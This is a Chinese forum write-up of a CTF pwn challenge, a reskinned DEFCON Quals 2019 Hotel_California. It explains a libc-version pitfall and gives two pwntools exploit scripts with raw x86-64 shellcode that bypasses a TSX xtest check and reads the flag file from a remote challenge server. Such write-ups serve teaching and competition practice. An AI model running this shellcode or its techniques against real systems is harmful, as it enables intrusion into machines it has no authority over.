首页
社区
课程
招聘
[原创] 第五题 闻鸡起舞
发表于: 2020-4-24 11:42 4248

[原创] 第五题 闻鸡起舞

2020-4-24 11:42
4248
题目分析
此题为DEFCON CRF QUALS 2019 之Hotel_California,逻辑一致,只修改了字符串。
详细分析可见 _https://www.anquanke.com/post/id/178609
遇到的坑
此题告知环境是ubuntu-16.04 64位,我测试过 ubuntu-16.04到 ubuntu-16.04.6共7个版本都无法使用上述exp,最后发现是 ubuntu-16.04的libc-2.23.so的sleep函数会将栈中储存的随机数覆盖,原题使用的libc-2.27.so不会覆盖该随机数,故无法使用上述的方法,只能用16位爆破。
今天早上突然发现有人解出来了,而且是两个,可以肯定大概率不是使用 16位爆破,推测是更换服务器环境后不再是libc-2.23.so,但是没说明具体环境,就使用原exp去测试,发现原偏移是正确的,当前使用的是应该是libc-2.27.so。
测试是否触发
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
import time
import ctypes
 
 
DEBUG = False
 
context.update(arch="amd64", os="linux", bits=64)
 
if __name__ == "__main__":
    #elf = ELF("./hotel_california")
    if DEBUG:
        = process("./hotel_california")
    else:
        = remote("47.102.223.17"10000)
     
    #输出 .///flag
    shellcode = "\xEB\x29\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x48\x8B\x1D\xE1\xFF\xFF\xFF\x48\x81\xEB\x08\xDC\xFF\xFF\x48\x8B\x13\x8B\x92\x7C\xFA\xFF\xFF\x48\x8D\x3D\x72\xFF\xFF\xFF\xF3\x89\x17\x48\x8B\x23\x48\x81\xC4\x78\x77\xFE\xFF\x48\xB8\x2E\x2F\x2F\x2F\x66\x6C\x61\x67\x50\x48\x89\xE6\x6A\x10\x5A\x6A\x01\x58\x48\x89\xC7\x0F\x05"
 
    shellcode += "B"*(0x400-len(shellcode))
    p.sendafter("> ", shellcode)
 
    p.shutdown()
 
    p.interactive()
    p.close()
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
import time
import ctypes
 
 
DEBUG = False
 
context.update(arch="amd64", os="linux", bits=64)
 
if __name__ == "__main__":
    #elf = ELF("./hotel_california")
    if DEBUG:
        = process("./hotel_california")
    else:
        = remote("47.102.223.17"10000)
 
    # to solve, we need to store the original value at the offset in [rdi] from the `xaquire lock`
    # by doing this, we will pass the `xtest` check and our code will execute
 
    ### non-NULL shellcode:
    ###  - reads the 1st random number from the stack
    ###  - stores it back using `xrelease mov`, which allows the `xtest` check to pass
    ###  - 输出 './//flag'
    # nasm -f bin shellcode.asm -o shellcode && hexdump -v -e '"\\" "x" 1/1 "%02X"' shellcode; echo
 
    shellcode = "\xEB\x29\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x48\x8B\x1D\xE1\xFF\xFF\xFF\x48\x81\xEB\x08\xDC\xFF\xFF\x48\x8B\x13\x8B\x92\x7C\xFA\xFF\xFF\x48\x8D\x3D\x72\xFF\xFF\xFF\xF3\x89\x17\x48\x8B\x23\x48\x81\xC4\x78\x77\xFE\xFF\x48\xB8\x2E\x2F\x2F\x2F\x66\x6C\x61\x67\x50\x48\x89\xE7\x6A\x01\x5A\x31\xF6\x6A\x02\x58\x0F\x05\x48\x89\xC7\x31\xC0\x48\x89\xE6\x6A\x7F\x5A\x0F\x05\x48\x89\xC2\x6A\x01\x58\x48\x89\xC7\x0F\x05"
 
    ### if we send 0x400 bytes, certain bytes will persist for the next loops malloc
    shellcode += "B"*(0x400-len(shellcode))
    p.sendafter("> ", shellcode)
 
    ### if we send an EOF, we get to the 2nd loop, and the first random number stays on the stack
    ### this allows our shellcode to run
 
    # send EOF
    p.shutdown()
 
    # recv until flag is sent
    p.interactive()
    p.close()


[注意]看雪招聘,专注安全领域的专业人才平台!

最后于 2020-4-24 19:14 被kanxue编辑 ,原因:
收藏
免费
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册